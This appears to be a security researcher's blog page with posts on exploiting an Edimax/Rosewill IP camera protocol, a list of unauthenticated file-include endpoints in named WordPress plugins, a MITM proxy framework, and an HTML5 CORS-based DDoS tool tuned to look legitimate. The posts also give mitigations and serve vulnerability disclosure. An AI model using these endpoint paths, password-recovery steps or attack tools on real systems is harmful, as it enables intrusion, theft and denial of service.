Spare Clock Cycles Hacking is freedom.

23Jan/122

Exploiting an IP Camera Control Protocol: Redux

Last May, I wrote about a remote password disclosure vulnerability I found in a proprietary protocol used to control ~150 different low-end IP cameras. The exploit I wrote was tested on the Rosewill RXS-3211, a rebranded version of the Edimax IC3005.  The vulnerability remained unpatched in the RXS-3211 until July of last year, when a supposed fix was provided . Unfortunately, I've been busy working on other projects, so I just recently got around to testing it. Spoiler: the results weren't good. The following post documents how easy it is to still exploit this particular vulnerability, alternative ways to exploit the protocol, and how to create your own firmware images to run whatever you want on devices that you now control.

The Patch Is 0.1% Effective

After flashing the latest firmware image to one of my cameras and installing the new management application, I did exactly what I did the first time: fired up Wireshark again and looked through the traffic. It was clear from the dumps that they were at least obfuscating the traffic now, but the sad fact remained that when I entered my password into the client application, no traffic was sent to the server before I was granted access. Clearly,  authentication in the protocol is still occurring client-side. Not good.

With that knowledge, I thought it'd be fun to first explore what all one can do without even having the admin password. Thankfully, this was much easier than would be expected, given my fateful acquisition of Edimax's implementation of the protocol. While working on creating custom firmware images, I downloaded a number of GPL source packages released by Edimax. In the IC3010 package, I realized that Edimax had included more source code than normal, including one folder labeled "enet_EDIMAX". After a quick look, I realized I now had the source to the protocol I had been reversing. Win.

Rather than describing what one can do while unauthenticated, it would probably be faster to describe what one *can't* do. Reboots, factory resets, reading any and all device settings, performing WLAN surveys, toggling LEDs...it is even possible to perform remote, unauthenticated firmware flashing on some models.  Basically the only thing that isn't possible to do is grabbing remote frames from the camera. You can read through the code for yourself here:  enet_agentd.h enet_agentd.c . After some quick Python scripting, I confirmed that all of the supported functions on the RXS-3211 were still vulnerable to exploitation, even if the admin password was no longer in cleartext. If anyone reading has one of the cameras that supports wireless or firmware flashing (IC-1000, maybe others), I'd love to see if the other enet functionality works.

Obviously, the patch wasn't very effective. However, for the sake of curiosity and thoroughness, I wanted to see if it was still possible to recover the admin password. To do so meant figuring out how the traffic was being encoded. and if it could be defeated . The header format I described in my previous post was still intact, but the body was obviously scrambled somehow. While this could have required a serious reverse engineering effort, it turned out to be fairly simple.

In such situations, there's only a few options: encryption, compression, or both. After changing the password on the device  a few times and observing how the traffic changed, it became obvious that either very weak encryption was being used or the data was compressed, as there was an easily discernible pattern between the input text and the output. Comparing the passwords "1111111111" and "1234567890", it became clear that compression was the winner: the length of packets with the former password were a few bytes shorter than the latter. Compression algorithms often work by shrinking 'runs' of data in some way, and hence, will compress the same character in succession much more efficiently than different ones. To find out which algorithm, I then went back and ran strings on the management executable, which gave me my answer: zlib compression. Yes...their solution to remote password disclosure was to compress the password before sending it. Brilliant. After this, all it took was a single line of Python to make things work perfectly again: zlib.decompress(data[12:-4],-15).

To demonstrate these vulnerabilities, I threw together a simple Python script: enet_pwn.py. With this, an attacker can disclose the admin password and others stored on all devices using the enet protocol (including the "patched" RXS-3211),  grab many of the common settings shared between devices, and perform reboots and factory resets on the cameras. Obligatory disclaimer: I am not responsible for any illegal use of this tool.

Going Further

For all the vulnerabilities I've pointed out in their software, I still really like the Edimax cameras for their low cost and high "hackability". Creating firmware images for the devices can allow you do some cool things other cameras can't, and for ~30 dollars for the low end ones, it's a pretty good deal. In fact, the first time I bought one, I had actually considered turning it into a poor man's pentesting drop box (which it does quite well). However, because of how easy it is to create firmware images for the cameras, attackers can also install anything they like once getting the admin password. This could allow them to gain further unauthorized access to a network.

While creating custom firmware for these cameras is a little more complicated than simply using the firmware mod kit, it isn't by much. I've created a few basic scripts that handle everything, which basically just automate the process described here. All someone needs to do is use the extract_edimax.sh script to extract the image, modify the root filesystem to their liking, and then recompile with the build_edimax.sh script. Edimax provides a toolchain for compiling your own applications, which can also be found in my repository in the tools directory. For me, getting netcat on there was enough for everything I wanted. I should note though that any flashing you do could damage your device, so be careful. It is usually possible to recover through a serial terminal on the device, but it's usually best to avoid that annoyance.

Mitigation

For end users, the easiest thing to do is simply to block incoming UDP packets on port 13364. It's possible to make your own firmware image that isn't vulnerable, but this is left as an exercise for the reader (or possibly a later post).

For the developers, here is, once again, some possible pseudocode for the server:

if discovery request:
    allow
else if any other valid request encrypted with admin password hash:
    allow
else:
    deny deny deny

Never send cleartext passwords. Don't even send hashes unless you have to. And definitely don't send them to clients. It's not that complicated. If you can't do that much, you shouldn't be rolling your own protocols.

18Sep/1112

Explo(it|r)ing the WordPress Extension Repos

Today's post is kind of long, so I thought I should warn you in advance by adding an additional paragraph for you to read. I also wanted to provide download links for those who'd rather just read the code. It isn't the cleanest code in the world, so I apologize in advance. I discuss what all of these are for and how they work later on in the post, so if you're confused and/or curious, read on. Downloads:

  • Copies of the WordPress theme and plugin repositories can be grabbed via torrent (Please note that the plugin repo has a few directories incomplete/missing; this can be fixed by running my checkout code)
  • A new WordPress plugin fingerprinting tool, wpfinger (download). This tool can infer detailed version information on just about every plugin in the WordPress repository. This package also contains some useful libraries for checking out the repositories and scraping plugin rankings, as this is used in the fingerprinting tool.

Intro

After finding an arbitrary file upload vulnerability in 1 Flash Gallery, I became curious as to how many other WordPress plugins made basic security mistakes. The 1 Flash Gallery plugin issue, it seems, is that they CTRL-C-V'd code from a project called Uploadify, which has been known to be vulnerable for quite awhile.

After realizing this, I became curious as to how many plugins make easy-to-spot security mistakes, such as reusing vulnerable libraries or doing such things as include($_REQUEST['lulz']). However, my curiosity was initially somewhat hampered by the fact that downloading and auditing every WordPress plugin one at a time is not only a mind numbing task, but a herculean one as well. And, well, I'm incredibly lazy.

Getting the Repos

So what to do? Well, it turns out that WordPress is nice enough to have public repositories (http://plugins.svn.wordpress.org and http://themes.svn.wordpress.org) containing all plugins that have ever been submitted, as well as every theme.  This, of course, was exciting: I could just check this out, whip out some grep-fu, and have my answers.

Alright, so maybe it isn't as simple as that. First, the plugin repo is huge: as is, it's taking up a good 80GB on one of my disks and contains approximately 12,000,000 files, thanks in no small part to subversion's insistence on creating ridiculous numbers of internal files. This isn't all that suprising, however, given that the repo contains ~23,000 plugins.

As I found out in my initial failed attempts to grab the code, checking this out all at once with subversion is, as far as I can tell, impossible. After about 15-20 minutes of downloading, the checkout would error out, and I'd have to wait for SVN to reverify everything it had already gotten. This got old quickly, so I came up with a hacked workaround: I wrote a quick script that simply checked out the individual repositories for every plugin and theme. Not very clean, but for my purposes, effective. A little over a day later, I had all the themes and plugins, and it was time for some fun.

A side note: for those of you who would like to play with either of these, I'd recommend grabbing the torrent, extracting it, and then running my checkout script in wpfinger in the directory above them. This will still get you the latest versions of all the plugins, but should take significantly less time and put less strain on everyone's servers.

Attack

Anyway, on to the vulnerabilities. During my scans I found remote unauthenticated code execution vulnerabilities in 36 plugins, varying in popularity from ~250 downloads to ~60,000. Finding them took essentially no effort or skill on my part, just patience.

The following eleven plugins were found entirely with grep and a little bit of manual inspection. Instead of running over every PHP file in the repo, I sped things up by only running over code in the trunk directories. This was under the assumption that that should be the latest code. Pretty much all of these were found analyzing results from the same grep:

Grep used: egrep -i '(include|require)(_once)?(\(|\s+)[^[;)]*\$_(REQUEST|GET|POST|COOKIE)'

Base is http://host/wp-content/plugins/PLUGIN_NAME/ unless explicitly stated.

Remote File Include - unauthenticated
----------------------------------------------------------

  • zingiri-web-shop = /fws/ajax/init.inc.php?wpabspath=RFI OR /fwkfor/ajax/init.inc.php?wpabspath=RFI
  • mini-mail-dashboard-widget = wp-mini-mail.php?abspath=RFI (requires POSTing a file with ID wpmm-upload for this to work)
  • mailz = /lists/config/config.php?wpabspath=RFI
  • relocate-upload = relocate-upload.php?ru_folder=asdf&abspath=RFI
  • disclosure-policy-plugin = /functions/action.php?delete=asdf&blogUrl=asdf&abspath=RFI
  • wordpress-console = /common.php POST="root=RFI"
  • livesig = /livesig-ajax-backend.php POST="wp-root=RFI"
  • annonces = /includes/lib/photo/uploadPhoto.php?abspath=RFI
  • theme-tuner = /ajax/savetag.php POST="tt-abspath=RFI"
  • evarisk = /include/lib/actionsCorrectives/activite/uploadPhotoApres.php?abspath=RFI
  • light-post = /wp-light-post.php?abspath=RFI

Local File Include - unauthenticated
----------------------------------------------------------

  • news-and-events = http://host/wordpress/?ktf=ne_LFIPATH%00

As an experiment, I also modified a nice static source analyzer called RIPS to take command line arguments (grab here, if interested) and print out some basic information on probable vulnerabilities, and then ran it over the plugin repo. Unfortunately, the noise was still pretty high (partly due to its lack of OO support), so I didn't find all too much beyond the greps. However, it did turn up a few RFIs:

  • thecartpress = /checkout/CheckoutEditor.php?tcp_save_fields=true&tcp_class_name=asdf&tcp_class_path=RFI
  • allwebmenus-wordpress-menu-plugin = actions.php POST="abspath=RFI"
  • wpeasystats = export.php?homep=RFI

Finally, I searched for Uploadify usage and outdated timthumb.php libraries. This turned up another 24 vulnerable plugins:

  • user-avatar - /user-avatar-pic.php -> Only vulnerable if register_globals is enabled
  • onswipe - /framework/thumb/thumb.php
  • islidex - /js/timthumb.php
  • seo-image-galleries - /timthumb.php
  • verve-meta-boxes - /tools/timthumb.php
  • dd-simple-photo-gallery - /include/resize.php
  • wp-marketplace - /libs/timthumb.php
  • a-gallery - /timthumb.php
  • auto-attachments - /thumb.php
  • cac-featured-content - /timthumb.php
  • category-grid-view-gallery - /includes/timthumb.php
  • category-list-portfolio-page - /scripts/timthumb.php
  • cms-pack - /timthumb.php
  • dp-thumbnail - /timthumb/timthumb.php
  • extend-wordpress - /helpers/timthumb/image.php
  • kino-gallery - /timthumb.php
  • lisl-last-image-slider - /timthumb.php
  • mediarss-external-gallery - /timthumb.php
  • really-easy-slider - /inc/thumb.php
  • rekt-slideshow - /picsize.php
  • rent-a-car - /libs/timthumb.php
  • vk-gallery - /lib/timthumb.php
  • gpress = /gpress-admin/fieldtypes/styles_editor/scripts/uploadify.php?fileext=php - exact same as 1 Flash Plugin vuln

Obviously, it's not very hard to find a decent number of 0days just by grepping around, which is mildly disconcerting. Honestly, I had so many hits for these searches that I probably missed a good deal of them. But what else, besides vulnerability discovery, can we do with all this data?

Fingerprint

As an attacker, it's always nice to be able to figure out exactly what code is running on a given server. Of course, this isn't usually possible, as it requires a large body of information that just isn't there. However, it becomes much, much easier when you have access to the wealth of information contained in an SVN repo.

I feel that I should mention that ethicalhack3r's awesome tool WPScan does some of this, but last I checked will only detect if the top 2000 plugins are installed, and, as far as I know, won't give you a version. This is not to fault his work, though, at all; as I said, doing fine grained fingerprinting on every plugin would normally be difficult to impossible in most circumstances, and his tool does a ton of stuff that wpfinger doesn't.

So what does the repo give us that we were missing before? Well, we of course have a list of all the plugins, and it is then trivial to grab all of their download stats from wordpress.org to sort them in order of popularity. In addition, we have not only the current version of the plugin in the trunks, but we also (if SVN is being used properly) have tags for each of the major version changes. Simply by comparing these and finding changed files that we can check for remotely (added/removed/modified content files or added/removed php scripts), we can build a very effective fingerprint for each version of the plugin. Then, all we have to do is run a small number of checks once we find that a plugin is installed to obtain, at the very least, the major version of the plugin.

My current implementation is not pretty, but it seems to work quite well on the servers I tested with. My signatures are simply binary search trees encoded using Python tuples (don't judge me, it was quick to do it that way), which I regenerate whenever I update the SVN.  The initial fingerprinting takes quite awhile, as it stupidly MD5s all of the relevant files in the repos. This was before I knew that filecmp/dircmp existed, so that's probably going to be rewritten soon enough.

Once the signatures are created, the scans are quite fast, and very effective. It normally only takes one to two requests to detect plugin presence, and only takes two or three more in most cases to detect the version. It also tries to deal with things like error pages that return 200 by using difflib to compare the error page to the returned page, although there's probably still some issues with that.

As I mentioned earlier, you can check the latest versions over on Google Code from now on. Here's a screenshot of a scan against one of my test servers:

wpfinger in action

Plugins + versions

Now that I've outlined more than enough ways to aid exploitation, let's talk briefly about what can be done to help prevent some of these attacks.

Defend

For the WordPress developers, the best defense would probably be to scan any commits for known vulnerabilities, and either warn or (preferably) block the developers from adding exploitable code to the repository. This can be done quite easily using pre-commit hooks for SVN, which allow for custom verification of commits to a repository. I'm planning on releasing an example script when I get time that will detect commits introducing the vulnerabilities I scanned for, but the more interesting problem is how to gather a larger, better collection of signatures. I've got a couple vague ideas for how to go about doing this, but would love suggestions on the subject.

As for what site admins can do, it's pretty clear: don't install plugins or themes unless you *absolutely* need to or you are willing to and have the expertise to audit what you're installing. Just because you have the latest version does not necessarily make you safe, and if you forget to update, it's quite easy for an attacker to detect and exploit. In addition to limiting your number of installed plugins, it might be possible to parse the signatures I provide and use a WAF to return tainted results when those URLs are requested too closely together. Haven't personally done it, but I'm sure it wouldn't be too extraordinarily difficult.

Conclusion

The methods presented here are not unique to WordPress; I'm fairly confident in saying that it could easily be applied to any open source CMS. I largely chose WordPress because I was already working with it when I stumbled into this, and they had a really nice repository to pull from. Please feel free to try it out other places, and let me know how it goes.

P.S.: I'd like to thank duststorm for lending me a server to seed the repos with. Much appreciated.

10Jul/115

Sergio Proxy v0.2 Released

Updates in this Release

So after a ridiculously long period of procrastination, I finally got around to updating Sergio Proxy to make it remotely usable. I was never very happy with how the initial code turned out, but given that it was hacked out in a couple days just to test some ideas, I suppose that shouldn't be surprising. My original hope for it was to provide a very easy to extend plugin interface that allowed Python programmers to easily modify requests and responses during a MITM attack on HTTP.  While you could extend it without too much trouble, it was far from perfect, and passing options to the thing was an atrocious mess. Worse, my hooks into Twisted weren't the most stable or fast, rendering it not very useful.

I believe I've solved some of these issues in this release, although you can certainly judge for yourself. I've made three major changes: first, rather than using my own transparent proxy classes for interacting with Twisted, I've instead started using Moxie Marlinspike's sslstrip to provide the proxy functionality. Although I didn't know it when I first started Sergio Proxy, sslstrip uses almost exactly the same method for creating the transparent proxy: extending the Twisted framework's HTTP proxy classes. Rather than duplicate effort to create something that would still be miles behind, I instead decided to focus on providing a convenient plugin interface that could hook sslstrip at various points during operation. This brings me to the second change: a new plugin interface that should make it ridiculously simple to extend Sergio Proxy. I've currently implemented three modules (SMBAuth, ArpSpoof, and Upsidedownternet), but really there are tons of other things that could be done. Finally, I completely revamped the logging and options code, which were virtually non-existent in my first release. Combined, these should make Sergio Proxy a nice framework for making use of HTTP MITM attacks. You can grab the new code here: https://code.google.com/p/sergio-proxy/downloads/list

 Edit: I've also added a simple BrowserPwn plugin now, grab the current trunk to get it: https://code.google.com/p/sergio-proxy/source/checkout

Using and Abusing Sergio Proxy

So enough about the changes: how would one go about using it? Well, if all you want to do is evoke an SMB authentication attempt or launch the Upsidedownternet, just run sergio-proxy.py -h and choose your desired options. ArpSpoof will set up the MITM if you so desire (requires ettercap or arpspoof), and sslstrip will record what it normally does. If you want to do something else, though, you'll need to create a new plugin. Don't worry, it's quite simple!

First, you need to do a few simple things. The provided plugins provide good examples, but I will step through the required steps just in case. All plugins inherit from the Plugin class in plugins/plugin.py, and Sergio Proxy needs to know the subclass relationship, so you must do a "from plugins.plugin import Plugin" in every plugin file. No exceptions. Then, you need to define some class attributes to tell Sergio Proxy about your plugin. These are as follows: name (human friendly name), optname (option name to enable plugin), has_opts (needs to add opts to argparse object), and implements (a list of hooks it implements). If you require arguments, you need to implement the add_options function. It takes an argparse Parser object as its only argument, where you can then do with it as you please. Be warned, though: if your arguments conflict with others, you may have issues.

Now, you are ready to implement the actual functionality of your plugin. There are 5 functions that really matter, and you can see them in the base Plugin class: initialize, handleHeader, connectionMade, handleResponse, and finish. initialize is passed the namespace that argparse parsed, and is called whenever your plugin has been enabled by a command line switch and is going to be run. You should do any setup you require here rather than __init__, as you won't have options in __init__ and it entirely possible your module won't be run after that point. finish, likewise, is called on shutdown.

There are three points where Sergio Proxy hooks sslstrip by default right now: on connecting to the server prior to sending the victim's request, on receiving any header from the server, and prior to sending a response to the client. These functions are the other three functions I mentioned. It is quite simple to add more if necessary, but that's outside the scope of this post. Whenever sslstrip hits any of these three points during execution, Sergio Proxy checks to see if any plugin wants to hook that function and, if so, calls the function with arguments that were provided to the function call in sslstrip. Generally,  if you have changes you want to send back to sslstrip, you should modify the request object, and not return anything. However, in the handleResponse hook this is not possible (as the local var data is used rather than an object attribute), and you must return a dictionary containing the modified arguments. This is currently the only case where this is necessary, but it's important to note.

Now, all you need to do is override these functions to do what you want. If you're wondering what information you have access to through the request object, it may be useful to either a.) hook the function you want and print out information about it at that time or b.) look through sslstrip and the Twisted proxy documentation. Also, the plugins I provided show some of the basic things you might want to do.

Hopefully you all find the new changes useful. If you end up writing a plugin, please feel free to submit it! If it was useful to you, it is likely it will be useful to others as well. Happy hacking

27Mar/112

Weaponizing d0z.me: Improved HTML5 DDoS

Well, here were are, about three months since I initially released d0z.me, and I've finally gotten away from school and life for a bit this week and updated it. However, I think it was definitely worth the wait. You can grab the code over at d0z.me's new Google Code repository, and see it in action here.

Beyond making the backend code a little bit less of a disaster than it was originally, I have also made the attack itself significantly more effective. For the impatient among you, I will summarize the changes here:

  • More efficient web worker implementation for making the requests.
  • Some cosmetic changes that make it less obvious that an attack is occurring.
  • Switched to POST requests by default, which allow us to hold server threads longer and exhaust a target's bandwidth.
  • Lots of updates to the backend code.

Before I go on though, I'd like to send another big THANK YOU to Lavakumar Kuppan over at andlabs.org for his research, feedback, and suggestions. His research was what originally inspired d0z.me, and he has helped give me a few very useful suggestions on how to improve it. Go follow the andlabs blog. Also, thank you to everyone else who sent in bug reports, suggestions, etc since I released it. You rock.

Web Worker Changes

My original implementation of the HTML5 DDoS attack did its job well, but was not exactly polished. I had some ideas for speed improvements even at the time, but hadn't spent much time optimizing. As it was, it opened four webworkers, and only made one request at a time. This produced good results, but was very processor intensive for Firefox users, and wasted valuable time waiting for a response from the server at times. I also was unable to recreate the results from Lava's original presentation (although this later turned out to be a flaw in my testing procedure).

After I released d0z.me, Lava contacted me and suggested instead that I run one web worker and launch many simultaneous requests. Obviously, running multiple requests at a time is much more efficient. With some slight modifications to the pseudocode he provided (to ensure a full request queue is maintained), I was able to achieve slightly better speeds, using only two web workers instead of four.

Cosmetic Improvements

Originally, d0z.me also implemented an attack almost identical to that of JSLOIC, meaning that an image constantly reloaded in the background. While it added a few extra requests per second, it was rather insignificant compared to its HTML5 counterpart, could only perform GET requests, and had the serious downside of displaying a progress bar in some browsers. Because of this, it has now been removed. In addition, d0z.me now attempts to pull the embedded site's favicon as it's own, so as to appear more legitimate. With these two changes, the URL becomes the only way to tell the embedded site and d0z.me apart in most browsers.

Using POST Requests for Attack Amplification

Advantages to POST Attack

One limitation of the original d0z.me implementation was that it could do little in regards to consuming bandwidth. In addition, while it was able to overwhelm servers with the sheer number of requests, server threads were not held for a very sizable amount of time. This meant that it required a decent number of users to significantly affect performance (either by consuming all available threads, crashing the database, etc). Bandwidth and thread exhaustion are both commonly used DDoS techniques, so why can't we do the same with HTML5 DDoS? Well, turns out, we can!

While the original version of d0z.me used GET requests, we can also make POST requests via CORS. Of course, we can simply issue the same number of requests/second as we can with GET, meaning that in most situations, even without a payload, the effect will be similar. However, there are a number of advantages that POST gives us that GET does not that should be obvious.

Unlike the previous version, however, attackers don't need to find large files on the host to overwhelm the hosts' bandwidth. Given that the default maximum request size is 2GB on Apache, we can send quite sizable requests safely. Most configurations do, in fact, override this default, but we can still send decently large requests regardless. To ensure that it works on most hosts, d0z.me's attack is set to use a 1MB request body. In practice, this is more than sufficient to generate excessive amounts of traffic.

Beyond the bandwidth advantages, we also tie up the server threads for a much longer amount of time, as the host must receive the request before responding. While this doesn't use a "slow POST" style attack like Slowloris, it has a similar effect: tying up processing threads that must receive the overly large requests, and thereby slowing down response times drastically.

F*ckin' CORS, How Does It Work?

So what hosts does this affect, you might ask? Just CORS enabled hosts, right? Wrong.

The CORS working draft defines a series of steps that a browser should go through when attempting to make a cross origin request. First, it should check its cache to see if it has previously connected to this URL within the cache timeout period, and if it has, whether or not cross origin requests were allowed on that URL. If it was allowed, it can go ahead and make the request; if not, the request process should stop there. If, however, the URL is not in the cache, then the draft states that the browser should make a "pre-flight request", which is essentially an empty request that seeks to get the headers for that particular URL (see OPTIONS request). The exception to this rule, however, is if the request is a "simple request", i.e. a GET, HEAD, or POST request.

This means that rather than respecting all that silly "pre-flight request" nonsense when Javascript attempts to make a simple method cross-origin request, the browser can decide to simply forward the request along with whatever data was attached to it. That's right! We can send arbitrary POST data to arbitrary hosts as fast as the network allows. Clearly, this attack could pretty quickly inundate a host or cause its owner significant bandwidth charges. This is not at all out of reach of even small Twitter spam campaigns, and a hacked ad network could rival the power of the largest botnets. Judging from some of the traffic spikes I've seen in my few months with d0z.me (~300,000 hits one week), one could fairly easy gather the amount of traffic necessary to bring down sizable websites.

Final Notes

I considered adding HTTP referrer / origin obfuscation support, which I previously demonstrated was possible. However, as my goal is not to make d0z.me impossible to detect and block, and I still wanted people to be able to find the site if abuse occurs, I decided against doing so. I think it is sufficient that I have warned multiple times against using that to block attacks. It's a band-aid, not a fix. I also considered adding IE support, but the attack is significantly slower without the benefit of web workers. When IE adds support for web workers, I will attempt to add support for it.

I have left GET requests in as an option, although I believe that it is usually a less effective one. However, it may be better to use such an attack if a host disallows all POST requests, or if a.) CORS is enabled on the URL and b.) responding to that request causes the host to do a significant amount of processing. The GET attack also uses significantly less memory on machines viewing the link, which might be a consideration in some instances.

As I said earlier, it's been three months since I released d0z.me. As far as I can tell, all it has achieved is a GTFO message from Dreamhost and a decent number of complaint emails. I do like to think that it has raised awareness of some of the problems with URL shortnerers and HTML5, but no browsers have attempted to limit the number of XHRs that can be made in a given time period (except *maybe* Safari?), and no changes have been made to the CORS working draft. This needs to be fixed.

While I do find a lot of the issues involved here interesting, my main reason in making this new release is to again encourage browser developers and those working on the CORS draft to fix this problem, and do it quickly. I hope it will also be useful for administrators to gauge their systems' susceptibility to these attacks, as well as to come up with defenses against them.

As always, I certainly welcome any constructive criticisms or advice. PHP/Javascript is not my forte, as I'm positive is obvious in the code, so any tips from you gurus out there are much appreciated.

Tagged as: , , 2 Comments